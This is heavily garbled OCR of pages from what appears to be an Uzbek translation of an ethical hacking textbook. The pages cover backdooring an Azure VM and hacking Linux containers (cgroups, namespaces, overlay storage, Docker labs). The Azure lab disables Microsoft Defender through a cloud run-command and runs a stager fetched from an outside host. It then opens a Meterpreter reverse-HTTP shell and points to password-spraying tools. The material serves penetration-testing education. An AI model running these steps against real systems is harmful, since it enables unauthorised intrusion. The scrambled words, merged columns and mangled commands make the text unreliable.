PS C:\Users '|RTCA(JJ?H’H> a

PS C:\Users \RTC, Admin> q- Vi ryn-
Winl0-Lars

= . D f'OPSa’ -n
_-cafn;”and..fd R“ﬂ‘po“'e " g PURP{-ECLOUD DEI
alue": [

] . t
PIs "whoami; hostname ®" |
f
i

"code": "Componentsy,
"displayStatys- "Prov
"leve]™: "Info".

"message":
"time": nuly

'ger hitps

Haka.mg/j iStall
2 login ~~identity

azurecliwindows@

r:rs/S{dOurffmcceeded i
isioning Succeeded

"nt authoyi W\systen

n Win 10-1, n’-“-efr‘

/StdErr/succeede

“code": "ComponentStatus/StdE s

. " "provisioning succeeded
"displayStatus": "Provis €
"level": "Info".
", . g LU
message”: ",
“time": nudl

!
!

/

!
1

i lorer veb-
i voki Internet Exp .

; uklab olinsa hamCLI .orc.;algt};Sh himdir. O*rnatllgaq-

aane yordanioe Slsmnan‘(;l bu boshgaruv ldeﬂlLﬁ ]ziolatda boshqa mashinaga

; -comm i as !

i B i clc:uquq]ar sinab ko'riladi ~\1zdigan ma’lumotlar yo'li orqali
ki Kegm datdagi tarmoq trafik bo g

0°tish mumkin @. bu 0 &

..ll' Ol-taall El['n =
(2 5

iva ishi 28.8:
Laboratoriya ishi 28

‘rnatish i
cshik (badeoor) o .'.';“ ndan S0*Ng. bu imko-
Node’ga "r(.]z: : nkoniyatiga ega bo’lga -
ajarish 1

ini kin. Buning bir
i urinish mum
L Ret ; ‘lini (backdoor) 0’1" ish agentidan foydalanish
hiyatni yashirin kirish }?un oddiy yashirin kiri
f = tin (rish uch
usuli — tizimga Kirl

i: D-DEVOPSI -n
Meterpreter agenti: voke -g PURPLECLOU

; / -
un-command im'o nSet-MpPreferenc
fmin> az VI T JlIScript --Scripts
PSC\jsrs TG Hr {-id RunP owerShe
Winl0-Lars --commani 10"

itorin,
-DisableRealtime Monitoring
"value": [
/

ST Yo
<_.OMITTED FOR BREVIT

e

“ni ; i i - -S-bOb
M’CFOSOﬂ Defender'nl 0 Chlradl
i bo‘lgan 1 0.2
V_]I.ld

¢ ey
~cidagi Metasploit.md fayhdaa keltiri
“Hub rf:positﬂry-51(:13%}1;:4 faylingiz taygorﬁztﬁiﬁg
uchun GrayHatHacking Git kin. Melerprete; )ea kirishi mumkin. L
: { ishlatish mum nib tugun (NO ‘“:lf’ Meterpreter yuklamas y
gd? Ciadam_larl‘, patijani foydala o dalanib. to I?(tiv B e
;OS r% qll}yr:giirs he.ll lmd!a'Sh"djzlﬂklash uchun refle
Cp li o*zim
kazadi. Kodlash modu

Buyrugq tizimda ma

) > exploit
ms(6 Q‘Pl"““"lﬂwha“d::ir) :'0 - as creale
[*] Exploit running session W 8000

8
{ no -//0.0.0.0: in
[*] Exploit completed: PULT2 ooy "“3 0.0.0:8000 handling

[*] Started HTTP reverse [*] htp:/

- ler) > s
msf6 exploil(ll‘“]""mnd <3{ )]




|

——lils

iptions.” https://docs.micro-
i re Subscriptions. A
' . e multiple Azu -best-practices/org
Lo rﬁﬁ?d) o ing stage ion 5 VpREReTS e e B man;l idoption-Frameworkfreadyiazure best-p
AR VRV + XIX Z cdirecting stagele . 2CtL ==/ = -
deXS[Gc?KhAEZSySOqMMOpqRrQIMnT;[:;;E?zmgljlztloﬁ?é)l{tﬁﬁA‘:’uBc 0ixfeXiQ- soft.com/en-us/azure/clou

Ctqwy with UA nizesubscriptions.
"Mozilla/5.0 (Windows NT 6. I: Trident/7.0: rv:11 0) like Gecko'

'ﬁpurple.iknowjason.io/instal!.html.

: ttps
A PusplaClat intif =00 Sl;erl:jc?;nl;diﬁhackIMSOLSPray
[*] http://0.0.0.0:8000 handling request from 127.0.0.1: (UUID: xrxfh32d) 4. MSOLspray. hllps:ﬂglth‘; 'om/OXzDH;’c)SGSspra}’-PA
it e sesion apeng o 5. O365spray. https:fﬁglthu .c
[*] Meterpreter session | opened (127.0,0.] :8000 - 127.0.0.1:33374) at 2021-11-07 0365 \

11:04:45 +00000
msf6 exploit(multi/handler) > sessions -j |
, [*] Starting interaction with 1___
meterpreter > she||®
; Process 32156 created.
' Channel 1 created.
hostname
Winl0-Lars®

Meterpreter yuklamasi
qilishni boshlash mumkin,
mashinada, ya'ni Win]0-[,
qaruv (control) rejasidan
shu yerdan infratuzilmag

yuklanganidan S0°ng @. uni odatdagidek o°zaro ta’sir
Buyrug qator; Sessiyasini ishga tushirib @, endi boshqa
ars @ da ekanligin; korish mumkin, Azure ning bos_h—
ma’lumot (data) rejasiga o*tish boshlanadi. Keyinchalik:
a chuqurroq 0°tish mumkin.

i i : O . an

h hUJumchllarua ilgari mavjud bo Imagf:_i

” ~ ) o . M |'J

hujum yuzalari mavjud. i

g - . P, l -
maydi, bu an’anaviy ma

Qo‘shimchg manbalay
OAuth 2.0 ang OpenID Connect Ovcrview”dcveloper.okta.com/docsf

Azure Active Directory™ docs.microsoft
amentals/auth-og uth2

docs.micr -ac-
CES8-COntr] Muiltin-rojes S.micr 0soft.com/en-us/azure/role-based

_ Foyd i i
1. “What is Amazop Orga wme. v oo abiyotlar:

i : Nizationg?” ; niza-
tions/] atest/userguide/ orgs introduction I;t};:PS-//dOCS. i

3()2}
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29-BOB. KONTEYNERLA RGA XAKERLIK
HUJUMI

Ushbu bob quyidagi mavzularnj o
* Linux konteynerlari

* Dasturlar, xususan Docker

* Konteyner xavfsizligj

* Yadro imkoniyatlari

z ichiga oladi:

Linux konteynerlari ilova jo
mida asosiy rol 0°ynagan, Konte

garchi bu shunday tuyulishj mumkin. QO‘nlab villar d

nologiyalar IBM asosiy kompyuterlarida va Sun Sol

Biroq, zamonaviy konteynerar boshqacha ko*rinadi.
box™ kabi ortigcha ma’noga ega bo‘lip ketdi.
bilan takomillashgan maxsus konstruksiyalardj

avomida konteyner-turi tex-
aris mashinalarida uchragan.
“Konteyner™ atamasi "S'd-"dj
Linux konteynerlari vaqt O'FIShf
I. "Konteynerlar™ deganda LinuxX
hteyner texnologiyalarini. ma-
izi i i - largni ko*rsatish uchun operatsion
tizimn belgilanadi. Ushby bobda Liny

: ' X Operatsion tizimi bilan birga keladigan
konteynerlarning Xususiyatlari quyidagicha:
Open Container Initiatjye (OCI)

tashabbusjo: svir fi pfE
OCI bilan bifgs bajarilish ki £a mos tasvir formatlari
OCI bilan birga distributiv.
Linux konteynerlarini oshqarish va ularning qanday ishlashini. boshqa tex-
qilishi ko*rih chiqiladi. qanday qilib ularni xost tizim-

X te’m(}l qIIISh O‘rgani[adi- US]']bu bOb boshqa shu kahi

ot bilan ta’minlaydi.

Linux Konteynerlar
Konteynerlar 2000-yillarning oxirlaridan ko I

(PaaS) takliflarida mashhy, bo‘lib kelmogda.

ner yechlmla_rini qurish uchun dasturiy ta’minot paketidir. Biroq Linux o°zining
noyob xusumyat]arfga €ga bo‘lib, by 0°ziga xos konteyn:gr dasc{urlarini va turli
konteyner te*nologlyalarini mavjud bo‘lishiga imkon beradi. Ko* oq ishlatiladi-
gan texnologiyalar quyidagilardjp- Sere

* chroot - by Jaray

_ ON'va uning bog‘|a i S Ss iruv-
chi texnologiyadir: & bog'lanmasi uchun ildi katalogini o*zgart

plab platforma sifatida xizmat
Docker — bu platformalararo kontey-

o Uni_on mount fayl tizim|ar; Overla
Shunmgdek, Linux yadrogi rivojla
5an texnologiyalar ham mg
Pace’lar. Ushby har bir ele

¥2, Overlay va Aufs ko'rinishida bo'ladi.
; ntirish sohasidan tashqarida kamroq tanil-
Viud, masalan, nazorat guruhlari (cgroups) va names-
ment batafsil o‘rganiladi. shunda konteynerlar ichida

Shuningdek. konteynerlarni mustahkam-

: jud: lan,

! tsivalar mavjud: masalan.

: ‘Imagan konfiguratsi) Alanilishi

imkonini beruvchi standart bo*lmag : nerlarga qo‘llanilis

ol s b;:}lstlz hisoblash (seccomp) pfOﬁ“an koL]:l:ystandai yoki standart

APPAI.'mor va X syt cheklaydi. Alnlbana, hiaarichdagi qo*llanilishi
R esabha[a r;oal'l]iﬂi sababli, ularning ishlab chiq g

konfiguratsiya bo‘lmaganlig '

kam uchraydi.

y . iladi.
qanday ishlashi yaxshiroq tushunila

Konteyner ichki mz“itsill]rlnaoan' aslida, Open Con-

i HSUSIFARE RS shkil etilgan

5 silas ab biror standart ivasi tomonidan tashkil etilgan.

otlyegjueiar da[s l]‘L)ltt)’ 15-yilda Docker kompanty asﬁ;ni qanday o‘zaro aloga-

1 1911 ! - = 4 a .

tainer Initiative (OC ) lab konteyner freym?forklarl}; Bu bir necha yil davomida

2015-yildan oldln.. l_LO Pl mi standartlarini }rar;}tgil idi Linux konteynerlaridagi
il klcmk]Ig]I:Cz:tlushirish variantlariga olib keld1.

turli xil konteyner ishg

i . agan.
1 i k l.lkSl ’alar 0 zgarl
i aza ko'plab dasllabkl 1\0“5‘1’ ) Tarm

Cgroups

P bos
-versiyasidan DOSIVED:
2.6-24 ve y. funkslya JOl’I)

lari (cgroups
hlab, nazorat guruh -. lging s
Li -adrosining etilgan. Cgrou-;:‘sb ti;imga
1'nuh \a deb nom[anuvchl 4.5-da taqdim etilgan bo’lib, e
deb Cllsqamrllgf}n)_ aroups v2) Kernel 4. ruhlari—bujarayonlaruchur_t e
S0'nggi chiqarlllshl.(ca - kiritadi. Nazorat 8t P nnkon.l}_fatl-
Xavfsizlik yaxshilanishlarin! 1 - i AN e
e -5 nazora -
nel dara‘lasadagll Ges::llrf:noq o diskn
ni, masalan. CPU.
ajratishi mumkin.

i to-plamidir.
ri to*plamid res|
: i o'z ichiga olishi

. 3 h
s g . Muhitni sozlas _ ]
Laboratoriya lsm;?iﬁj skriptidan foydalanib, barcha maq

casidagi : ch29 papkasida
whit ¢h29 Papl‘aSldagg. Muhitni sozlash uchun

i < . jariladigan qa-
Operatsion m mumki ; arayonda bajzarf Adig
dlani sl B0 SfOZIlai[:)‘rib chigiladi. Ussl;z:rjbu skript Kali tizimi hamda
Joylashgan RE'ADMEthkriptini ishg ¥ ko‘rsa!adi-
d?m!a{ “in% bir;\gf:]l(dt;;lgan [P manzillarit
Ulanish uchun ke 5

h29/Lab]
r_—fka.-'i@kaﬁ)-f“/GHHvd/ Gh?

8 /build.sh® e .
<--OMITTED FOR BREVIT here is the I

o to kall,
[+ ]You can now login 10

] sses
entory files with IP addre

docker:
hosts:
3.239.17.17:
vars: 3
; o il in' _‘i’fho’" A el
ansible user: ”b{”erpm sor: /usr/Din. s ssh/id_rsa.p

: _,},ame.»'ﬁ’m' i

ansible python_ il ke file:

ansible ssh_privare_
kali®:

hosts: G




!

/ 3()!’)}

4

3.94.148.9@:;

vars:

ansible_user: kali®

ansible_python_interpreter: /usr/bin/python3
ansible_ssh_private_key file: thome/kali/ ssh/id rsa.pem®

Eslatma: Laboratoriva qadamlarining b

esa magsadli tizimlarda amalgy oshirilaci
gi farglarni ko rsatishga Yordam beradi

a zilari Kali tizimingizela. ba zilari
Takliflar hizga har bir tizin o ‘riasida-

B Kali @ tizimiga berilgan IP manzi] @ va ko‘rsatil
km_sh kerak bo‘ladi. Kalj foydalanuvchisi kali @ sifa
qurilmalarga bevosita kirish mumkin, ammo yshhy

uchun boshqa usulda ishlanadj.

gan SSH kaliti @ yordamida
tida qoladi. Boshqa lnaqga.dll
bob davomida ularga kirish

Laboratoriya ishi 29.2: ¢ R T T
Ish clouddagi Kalj virtya] e oups. i tahdl ylish

mashinasi ichid i P iv kon-
teyner yaratishdan boshlanadj- '8 Gobiq beradigan juda oddiy

(kali@kali)-{~]
S mkdir -p containers/easy
I—_—f kali@kal, i-[~]
)

ed containers/easy; nano Dockerfite

Y Papkasidagi Dockerfile ¢

; ahrir gilinadi. Oddiy kontey-
satrlarni fay

lga kiritish kerak:

FROM deb ian:bullseye-slime
CMD ["bash"]®

Yaratgan faylimiz D
uchun ishlatiladigan qo‘ll
ning 0°z ma’nosi bor; ma
va saqlash fayl tizimida p; ifati
buyrugni ifodalaydj, Buni ]:;hgsygggdir??da -
o'rganiladi. Hozirchy konteynemi 'bg‘
ganish mumkin: Lasl

ockerfile deh ataladi.
anma sj

aqlanadi, CMD @ esa boshqa bir
‘Storage” bo*limida yanada chuquirtod
hga tushiriladi, shunda cgroups-ni 0’1

{ kah‘f@;kaﬁ)-[ ~f
§ docker build - &hh-eq
Sh-easy @ |
<—-OMITTED F OR BRE i'v'}'?:}-:___f)
kaﬁ@.{'aﬁ)-[ ~/
8 dockey run -it

_ ghh-easy /p;
root@67) 94647557 in/bash

7:4

- ychratadigan notanish xost nomlariga
’ lagi coroup marker sifatida ishla-
; bo ‘ladi. Bu kevinchalik ishea

Eslatma: Ko 'pgina kontevnerlar S.J.' e
cea bo ladi. Standart Docker km.m"rm-f,f \:m ega
HI'L idican SH.A-236 hashining oxirgl {ﬁ;;fi;:r’au')zw"fi mumkin.
1:;.\hf‘."'fa’u¢:;: saravonlarni aniqlashda muhir

< damida

i papkada Dockerfile yor
’ (}:1{1)3 l:Jgf’:r:diI? Keyin komeynffml mtel:ak-
o rugtini bajarish mumkin. Takl.lfda
i konteyner 1D-ni ifodalaydi, bu

i avvalig

Ushbu konteyner buyruqlhalﬁ :asy pit

konteynerni quradi va unga g ]‘ - docker buy
tiv rejimda ishga tushirish uchu

A jymat i .
: ‘1 ai ‘rsatiladi. Bu iy -256 hashidir. Siz
e QT];:nkiﬁgr birinchi qismidir. bu esa SHA
€sa to'liq konteyner

i i h fayl saglash mubhiti-

v ilishi mumkin. Has ) : hiti-

k("rgan s misollardﬂnl_fal’giqgl('jddi shu tizimda yangl terminal ochiladi
ida olinadl.

ning qatlam|laridan biri asos!

i hirilad -ua 7.6 asosida bo‘ladi, bu esa
o ‘nerini ishga tushirt’ o 3 08
va Docker kontey n'ermzlioml R bl caroups Versiy
Kali tizimidagi na

*daoi iy farglar-
: ‘rtasidagi asosty
1 versiya 2 o'rtasicagl :

i i ta’minlaydi. Versiya | -Vai yordamida ko‘rinadigan ka}talogiar
Qattiqroq nazoratni ’ qyl tizim s bor edi va ular
dan Eiriq—- bu /sys/fs/cgroup da sy fay Ll
ierarxiyasi. Cgroup versiy

* CPU

* cpuacct

¢ cpuset

* devices

* freezer

* memory

* netcls 1

* PIDs : at guruh

Har bir katalogda turl Izi?z\i'lrulardan
bir nechta zaifliklarga ega-(;[ik shundaki, C&r
di. Eng keng tarqalgan 2% Kataloglarda saq
ma’lumotlariga kirish turll

ilmasi A
- Jioan katalog V7! ing PID’si CPU
galikda foydalaniladiga® daemoni bo‘lsa. shellning PID’s
olib keldi. hellida tarmod

ishli bo‘lishi
*ga tegishli bo
hs . midagi ikkala cgroup £ =S L
Misol uchun, agar bas 1ki u fayl uz”mdag*l]ami ham o°z ichiga olishi n;(u‘ o
va netcls’da bo*ladi: Chunichida ichki cgrouﬁa holatlarni aniglash uchun ko’p
; ir P n barc
Mumkin, Ular har bif hayotgd
£ yas
Oxir-oqgibat, bu guruhla :
sa’y-harakatlar talab qtad : bo'lgan Ka
Nazorat guruhlart v rarqatmalar ¢ o
Sl . :1d. Rolling ki u eski yadro + o izt
g mawlL’iiga ega: O d:i { ot Nab-quvvatlanadig
cha cgroup mubhi mudda

i sus sozlama

g iud edi. USth'l max e
larl mE}Véu bobning oxirida payd}o bo 'la
g bolalar cgroup larmn'jg
D orqali emas. Bir-
dagi zaifliklarga

Oup va l.lnil'lg
anadi va jarayon 1D
CL ierarxiya asosi

i 1oan nazorat guruhi
r PID da birlashtirilgan 1 dan boshqa-

. 1miz
11 DOCker xosti . tabiatda

: vvOoyl
ishimsact SRS ar yillar davo-

Zirda har bi

. z0q
uchrashish giyin emas ! @
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mida ishlatiladi va ushbu turdagi yadrolar hali ham faol bo*ladi. C :
2 ga kirgan boshqa muhim o*zgarish — bu “rootless konteynerlar”konsepsiyasi
bo"lib. root hisobidan foydalanish orqali ekspluatatsiyani ancha giyinlashtiradi.

Quyidagi buyruglarni yangi oynada bajarish kerak. chunki Docker konteyner-
ni ishlayotgan holda qoldirish kerak:

‘groups versiya

I__{ kali@kali)-[~]

S ed /proc/$(pidof docker run) &
E(ka!f kali)-[/proc/25976)

S cat cgroup®
0::/userslice/user-1001.slice/session-22] scope

Birinchi buyrug Linuxning proc katalogiga, anigrog*i ishlayotgan Docker
konteynerining jarayon ID’siga @ olib b

) oradi. Ikkinchi buyruq esa jarayon ishla-
yotgan cgroup joylashuvini ko‘rsatadj. Ushbu katalog /sys/fs/cgroup/user-1001.
slice/session-221.scope ® manziliga mos keladi. Katta o°zgarishlardan biri shun-

daki. endi barcha cgroups’ga havolalar ko*rinma di. Odatda ko'rish kerak bo’l-
gan cgroups’lar yo‘q. Cgroups’larni kataloglar ichida saqlash, bu esa ichki bolalar
cgroups’lariga olib kelishi mumkin, endi mavjud emas. By keyinchalik versiya
I cgroup zaifligidan foydalanadigan ckspluatatsiyani jshen tushirganda muhim
bo*ladi. Bu Kali’ning rolling tarqatmas; bilan birga keladi;an yadrolarda mavjud
bo‘lgan zaiflik emas. ik

Kali xostiga qaytiladi.
buyruglar:

* docker container Is —py
konteynerlarni ko‘rsatadj.

* docker stop —by buyrug konteynerlarni to*xtatadi.

* docker rm —buy buyruq konteynerni o°chiradi,

Konteyner domen sifatida ishlamayapti; aksincha, uni
rish uchun bash shel] yordamida ishlatilmoqda, Shunday

sa n.ima bo‘ladi? Kelaylik, konteynerdagi bash shellni ish
ochiq tutgan holatiga qaytaylik:

Docker API bilan ishlashni osonlashtiradigan ba'Zi

buyrug barcha ishga tushirilgan yoki to*xtatilgan

ochiq holda ushlab tU-
qilib, agar chiqib ketil-
layotgan holda qoldirib

rool@275/df134da: /4 exit@

[——(kaif@kaﬁﬁ[ »/camamers/easy ']
8 docker containe, Is —-alil®
CONTAINER ID IMA

273fdf1f34dq ghh-easy "pip, bash" 3 miny
noyce

GE COMMAND CREATED STATUS PORTS NAMES

les ago Exited® (0) 40 seconds ago intelligent

P .’i@kaﬁ)-[-vzcomamers/ea.wj
8 docker yim 2 750df1f34da®

. adi biz kontey-

Birinchi buyruq b konteynerdan chigargan bo ket f@ }:?Szid;umkin Ki-
nerimiz endi ishlamayotganini, ya'ni Ch‘ql}? i.cetg.anmh_'o n;sl flag @ barcha kori-
yingi buyruq barcha konteynerlarni ro‘yxatini chigara t;a-;:adi Biz konteynerga
s i ini ro‘yxa :

: / ki ishlamayotganini r -l
teynerlarni, ishlayotgan yo i silarini 6%hi-
id fIumoltl'imi va odatdagi obrazdan farq qlladlganks:aqlash qatla

oid ma ¢ RIS N e
tib tashlash uchun rm @ buyrug‘ini bajarishimiz

ces texnologiyasi :
YTOUPS E?—I;liiisg?lan chambarchas bog'lig: Ch}mkl n?n.-l?;r;::

i 6 C’T-]" prlarsalar atrofida cheklovlar hosil qllISh.lmkomm : t
SER L i km;)] dasturlash tillaridagi kabi, jarzllyol'l oK )?dmr“lff Ql'an
di. Name?p'aces- C++l aa ilmkon beradi. Ushbu gumhlashjfll‘a}’on }’0'\11 0[?); Ll;ill:ual
obyektlarini "_"‘u.ruh]?\.sl ]:.-Zi voki nazorat giladi. Namespace’dan floyda;rlllii‘
nima ko‘r|5h}ﬂ| che ;} e[i!ﬂan bir gator API'lardan foydalanish mu ; ra:;atadi-
vadro tomonidan g im : .}_;lonlﬂ)’di va so‘ngra unga mos “am?Spac.-l : fi name-

* clone() - Eu jﬁ:j’ii‘lgniara};onni biz foydalanishimiz mumbkin bo‘lga

* setns() — bu S

A" : adi.
space’ga ko*chirishga imkon ber i

share — h arayon i name ]Jaceda]l Chiqal‘adl. .
. T e S 1 ngan ekS |01ﬂaI‘
.l © [«

’ iyatsizligi diskdagi
; a4 ularning muvaffaqiyatsizl :
o oticka uchrashi mumkin, 18 o ‘lishi mumkin. eksploit-
mU\’aﬂaql}'aisﬂl;krki Lilai)-lgan ko‘rinish bilan bog }Iqa izl(:l}:issh uchun boshga API
individual narsalarg : lobal namespace & . k.
: o’ higish va 8l0%¢ - ho*lishi mumkin. Namespaces ish
larni namespace’dan ¢ htirish kerak bo"lishi MUmKi (ko
; moslashtirt . : mkin (ko*proq
to*plamidan fo}’dﬂ{lj;m]s h‘?g?iasturi}r hujjatlaridan kelib chigishi mu
latish Bell Lab’s Plar

[ i .0 a ﬂ]adi).

ri (Storage) _ _
ahga(t tushirish muhitlari foydalanadi-

b ataladi. Union file system’ni yax-

Saqlash yechiml

ner 1is
. ia kOHIE} ner
a bir nech
Docker va boshq

i gjonl iz i vur qiling. Eng
i i e system ( i o‘plamni tasav
gan mexanizm umo]n fil hay quog‘ozlardall borat to°p
i i “hun §
shiroq tushunish uc fl

: ladi. Keyingi qog*oz,

i pastki qatlam deb ataladi. fseyil s

- it iziq bor; bunlpaS B a va hosil bo‘lgan Efs ;

pastdagi qogozda bii2 il;;gigiga ulanadigan C]T‘Z[lfg ah?fi qog‘oz ustiga qoyiladi

shuningdek. shaffof. -avburcl‘ak qilib ko-rs?tadl.. ' )’a 1?1 i B it bbb [

ol e dal.{llj'a hizigni birinchi ikkita c:l;:iiqiq
d g*oz uchincht €1 i qatlam deb ataladl. seni to‘ldiradi va biz
:I:aiqulllig?;o{;il qiladi. Bun! yt{qocgﬁdir” deb ataymiz; bu tasvl"‘;“f‘_]‘;e"i;stem,nmg
i qog’ y - hlatiladi erla

Eng yuqoridagi 408 ozn[]ar Dockerda lshlatlladlgagi?vaﬂam o‘rtasidagi farq-
kvadratni ko‘ramiz. Qatla;? ar diskdagi har birq

= . n kotrsata ],

qanday ishlashini

bu qatlam!
larni 0*z ichiga oladi. -1d bo‘lg
- u
Bugungi kunda ma‘l?S. Qverlay

le system’lar mavjud, ma-

- _f‘ g
an bir nechta union 1i bolib, turl kataloglarni

5 hozirgi fayl tizimi

salan, Aufs va Overlay ‘ 309




g _
birlashtiruvchi t -
exnol i . .
Asosiy qatlamlar Oda:)dgz:);zgl _lShlatadI b birlashtirilgan fay! tizimini hosil giladi
gan, ammo doimo emas U]aSI> Operatsion tizim tarqatish fayllaridan 1a:‘;hkil top:
qatlamlar to‘plamiga ege; US}:bOdatda ishlash uchun yuqori ;:[allamuacha bo*lgan
da overlay file system’nj .mo u q'&}lam.lar va farqlar konteyner ish:a tushiril :an-
0°zgartirilmaydi: ular faqat o?c;?hq]h}t: birlashtiiladi. Ushibu fay! tizimi qatl'm%la“'
i it sh uchun mo-l; 5. '

niy qatlam sifatida bj Sitad: o'ljallangan. “Working™ i yaku-
dek, overlay file SYSté!liS:)]l]r]]adl . yozilishi mumkin. 29. -ra:nrfd- kflifl.ogl_i\al\lf

archa tegishli o‘zgarishlarn; birlashti ci"d PR

iradi.

Contaner]
Apache Contamerl
Rl'l]lw

| Merged

L ‘_.\-T\'I'_I-:t'd \It'r;_. i
—— | . Ukt

apache2 : Uppe E —
._____EEL redis

Lower
Dyl / /
Jebran/bin/ shin /et /v ar

29.1-rasm; OverlayFs

ite Lahoratoriya ishi 29.3;
. m}:;ﬁl_-lard:fl saqlashni boshqarish
ashinangizda juda oddj
£a tushirilganda shel| beradi: o et
(kali@kali)-[~] |
$ mkdir -p container
E—(kaﬁ@kam ¢ f}i!e! s/nmap

$ cd contai
uainers/ny
SHIMap, nano Doc
ockerfile

-slim  asosida bo‘ladi. Overlay-

qatlam may;
Jud konteyner bilan mos kelishi kerak va faqat

0"zgarishlar qo‘shflishi kerak:

FROMO® debr’mr:ba!.’sc{ve-sﬁm

RUN® apt update -y & £ @ \@

e,

4

Ta—— A

apt-get install nmap -y
ENTRYPOINT ["usr/bin/nmap"]

ker buyruglari orqali ajratadi, ular KATTA HARF-
buyruq Debian konteynerlar omboridan bullse-
ve-slim tegli konteynerni IMPORT giladi @. Keyingi buyrug RUN bo‘ladi, bu
buyruq fayldagi carriage return/linefeeds orasida joylashgan ®. Bu hali ham bir
qatlam deb hisoblanadi. chunki u ikkita maxsus elementdan foydalanadi. Birinchi-
si RUN buyrug. ikkinchisi esa £.&® sintaksisi bo*lib, bashda bu birinchi buyrugni
bajaradi va muvaffaqiyatli bo°lsa. keyingi buyruqni bajaradi. Keyin, @ uzun buy-
ruglarni bir nechta qatorlarga bo*lish uchun ishlatiladi. Shu nuqtada,- [')ocfkertizifni
yadroga boshga gatlamni qurishni buyuradi. bu qatlam baharr! ko'nhghn mu1.r|k|n.
Agar boshqa konteyner aynan shu apt buyruqdan foydalanadlgart b.o‘lsa_, u ishla-
tiladi. Qurilishning oxirgi gismi Docker ENTRYPO.IT?JT l?uyruq1dtr. Bu maxsus
Docker buyrugq borlib. tizimga konteynerni is!1ga tushlr‘nsiml va EN'TRYPOINT"‘da'
topilgan buyruq va argumf:ntlami qo*shishni buyuradi. Ushbu misolda Nmap'ni

ishga tushirib, argumentlar 0°

Dockerfile qatlamlarni Doc
LAR bilan yozilgan. Birinchi

tkaziladi. Konteynerni qurish mumkin:

l_—(ka!f@km’i)-[ «--"co:rfc.f:'ne."sfnmap]

S docker build -t ghh-nmap . '
Sending build context 10 Docker daemon 2.048kB
Step 1/30 : F. ROM dcb."cu::brdl.s‘e}-'e-sim:

> 89d5fb3cdfe?

Step 2/3 : RUN apt update -y
——=> Running in 77244effafba
WARNING: apt does not have @ sta.
<--Omitted for brevity=—="=" B

Removing intermediate container 7724 feffafba®
> @7430215¢54b ) .,

Step 3/3 : ,ENTR}'POINT["/:r.\‘r/b:rz/mnap 7

---> Running in ?SOJajdbeS:{fJ .
Removing intermediate containe?
> 33efl063a23]
Successfully built 3
Successfully tagged gh

&& apr-gel install nmap -y

ple CLI interface. Use with caution in scripts.

7503a5dbeSdb

3ef0063a231
h-nmap:lates!

r mavjud hashni ishlatayotganini
yuklab olayotganini ko'rsatma-
ilangan, shu jumladan ba’zi
bekor gilinadi; bu fayllar
day ishlashi ko‘riladi:

1/3-qadam © ishga tushiri!ganda, k?::itey;fi
ko*ramiz. Qatlamni ishga tuslnra}'(otgﬁnm b,\iflan e
yapti. Har bir keyingi qadam endi qab :{lmagani e
gatlamlar @ qurilishdan keyin 'k'erak oshirib iy
vaqtinchalik. Endi, konteynern! ishga tu 5

f’cunmfuers.-'mnap ]

h-nmap Scanme: nmap-org

kali€kali)-[~
S docker run =it gh




Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-26 02:15 UTC
Nmap scan report for scanme.nmap.org (43.33.32.156)
<--Omitted for Brevity-->
Nmap done: 1 IP address (1 host up) scanned in 2.5] seconds
l_—(kaﬁ@km’i)-[ ~/containers/nmap]
S docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NA MES

r——(kali€kali)-[~/containers/nmap]

Konteyner Nmap'ni ishga tushiradi va to*xtaydi. Agar “docker ps™ buyrugni
ishga tushirsangiz, endi ishlayotgan konteyner ko*rilmaydi va ish tugagan bo*ladi.
Konteynerlar 0°z jarayonlarini old planda ishga tushirishlari kerak. Ls:huncla ular
ajratilgan daemon sifatida ishlashda davom etishi mumkin. Konteynerdagi ma’lu-

motlar nima boladi? Agar “/var/lib/docker” kataloei izimi
. . - 0 ' ; " -
lamlarini alohida tekshira boshlashi mumkin: S

|_—(kalf@ka!i)-[ ~/containers/nmap ]
S sudo su -

<--Omitted for Brevity-->
(rootSkali)-[~]
# cd /var/lib/docker/overlay2
(k'oor@kafb—[/var/ﬁb/dacker/over!cnr.? ]

# s -la **/* '
<--Omitted for Brevity-->:
45accl12955¢ca75950 Sfe
by a3f73845fcdfa7 01 423e0@8901686389(363:'62('0('03].? 7/diff: @
drwxr-xr-x 7 root root 4096 F, eh 26 02:08
drwx----=x 4 root root 4096 Feb 26 02:08 .
drwxr-xr-x 10 root root 4096 F, eb 26 02: f};ﬁ; ele
drwxr-xr-x 4 root root 4096 Feb 8 00:00 Jih
drwxrwxrwi 2 root root 4096 F eb 26 02:08 yy
drwxr-xr-x 5 root root 4096 Feh 8 00:00 ysy

drwxr-xr-x 5 roof root 4096 F.
& eb 8 00:00 var
43acc12955ca75950a3173845 :
ouls /7384 5fcdfa70f1423e00890 1686389¢63ce2c0003 127/ work:

drwx------ 2 root root 4096 Feb 26 ()2- 08
drwx-----x 4 root root 4096 Feb 26 02:06"

Ushbu ko*rinish bir nechta narsalarnj ko‘rsatadi

konteynerlarini ko‘rib chig;
. ish E
da sirlar yoki ma’ Jumotla? L‘fa lC:ﬂ}’llarm qidirish h

chiqayotganda buni

Birinchidan, xostdagi Docker
g amda bu fayllarning ba’zilari-
.- 1\alla xostdagi konteynerlarni ko*rib

Ilovalar

Nima uchun konteynerlar mashhur va nega ulflrnm% to;)satda;qug;m\i rﬁ);i
da paydo bolishi koriladi? Kontey nerlar asta-sekin ko'pla ::r::;l alfflashinalzﬁn'
mashinalar o'rnini egalladi. Hozirgi vaqtda konteynerlar va'Ud Virtual mashi-
o°rtasida osongina foydalanish mumkin bo*lgan kelishuv mavjud.

i izatsiya qili li ilovaga xavfsizlik darajasini
ini alizatsiya gilish orqa : izlik !
b g e O atzion tizimning yadrosi ekanligini anglatadi,

i o . - - ’ 0 er . ‘ '
Sl'b Kelati UShbu.a[l: St?kts’lzl? va? fayl tizimi har safar virtual mashina yaratilgan-
rayverlar, xotirani boshqari
da tagdim etilishi kerak. _
] ikkili i ol ris
i Gl lkklllkla;nll ?Itlio}ilrlish bilan ajralib turadi. Demarkat-
: i i . i a 1a . . . -
i xotira tuzilmalarit i ri darajasida sodir
si g vcf;;?n' V:l atsiva konteyner guruhlari va nom ma}’dﬂ:lzfza“igijsamaradm_
bg'ldh' ’1}"5'1%J : mda ko*rsatilgandek, ushbu }’Oﬂdashl_z‘f“ma e T
adi. Y. Z-ras . : di.
likdir, chunki qo*shimcha protsessor v& xotira la‘abl q: tlzlam;?}foydalanuvchi gt
tizi i boshaarish uchun: buning o*rniga konteyneriar 1aq
zimni boshqaris ; g

h va operatsion tizim yadrosi,

jarayonlarini talab qiladi.

-
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i tai naza-
